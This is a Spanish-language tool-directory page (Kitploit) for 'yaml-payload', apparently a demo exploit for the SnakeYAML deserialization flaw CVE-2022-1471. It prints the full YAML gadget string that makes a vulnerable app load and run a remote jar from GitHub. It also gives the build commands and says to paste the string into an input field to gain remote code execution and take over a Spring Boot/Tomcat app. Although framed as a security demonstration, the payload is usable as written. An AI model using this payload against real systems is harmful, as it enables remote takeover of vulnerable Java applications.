Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
yaml-payload — SnakeYAML CVE-2022-1471 exploit payload para demo | Kitploit
Herramientas/GitHubGitHub/seal-sec-demo-2/yaml-payload
Análisis Dinámico (Sandboxing)Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de Payloads
GitHubseal-sec-demo-2/yaml-payload

yaml-payload

SnakeYAML CVE-2022-1471 exploit payload para demo

Ver Repositorio
3hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

yaml-payload

Un payload de explotación de deserialización SnakeYAML para CVE-2022-1471, adaptado de artsploit/yaml-payload (originalmente basado en mbechler/marshalsec).

Qué hace

Cuando se carga a través del inseguro Yaml.load() de SnakeYAML, este payload toma el control de la aplicación en ejecución y la reemplaza con una página "Has sido PWNED":

  1. Inyecta una Tomcat Valve en la aplicación Spring Boot en ejecución mediante reflexión, secuestrando el puerto existente 8080 — la misma URL (incluyendo cualquier túnel ngrok) ahora sirve la página PWNED
  2. Auto-redirige el navegador — la respuesta POST envía una redirección 302, por lo que el navegador carga inmediatamente la página PWNED sin necesidad de refresco manual
  3. Abre el navegador automáticamente en la URL correcta (URL pública de ngrok si está disponible, de lo contrario localhost:8080)
  4. Imprime evidencia del exploit en la consola/logs de CI

Si la inyección de Tomcat Valve no está disponible (por ejemplo, aplicación no Spring), recurre a iniciar un servidor HTTP independiente en el puerto 9999 y crea automáticamente un túnel ngrok si ngrok está en ejecución.

Esto funciona tanto localmente en macOS como en pipelines de CI/CD (por ejemplo, GitHub Actions en Ubuntu).

Cómo funciona la cadena de explotación

El payload de SnakeYAML activa ScriptEngineManager a través del SPI de Java (Interfaz de Proveedor de Servicios):

Descargar herramienta
root@kitploit:~
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
  1. SnakeYAML instancia java.net.URL apuntando al yaml-payload.jar de este repositorio
  2. Lo envuelve en un URLClassLoader para cargar clases remotas
  3. ScriptEngineManager descubre y carga AwesomeScriptEngineFactory a través de META-INF/services/javax.script.ScriptEngineFactory
  4. El constructor de la fábrica inyecta una Valve en el pipeline de Tomcat en ejecución, reemplazando cada respuesta posterior en / con la página PWNED

Compilación

Requiere JDK 17+:

root@kitploit:~
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

Uso

Utilizado como payload de explotación en el proyecto maven-demo. Pegue la cadena del payload en el campo de nombre de la aplicación para desencadenar RCE. La página de la aplicación será reemplazada por la página PWNED en la siguiente solicitud. Consulte el README de ese repositorio para obtener instrucciones completas de la demostración.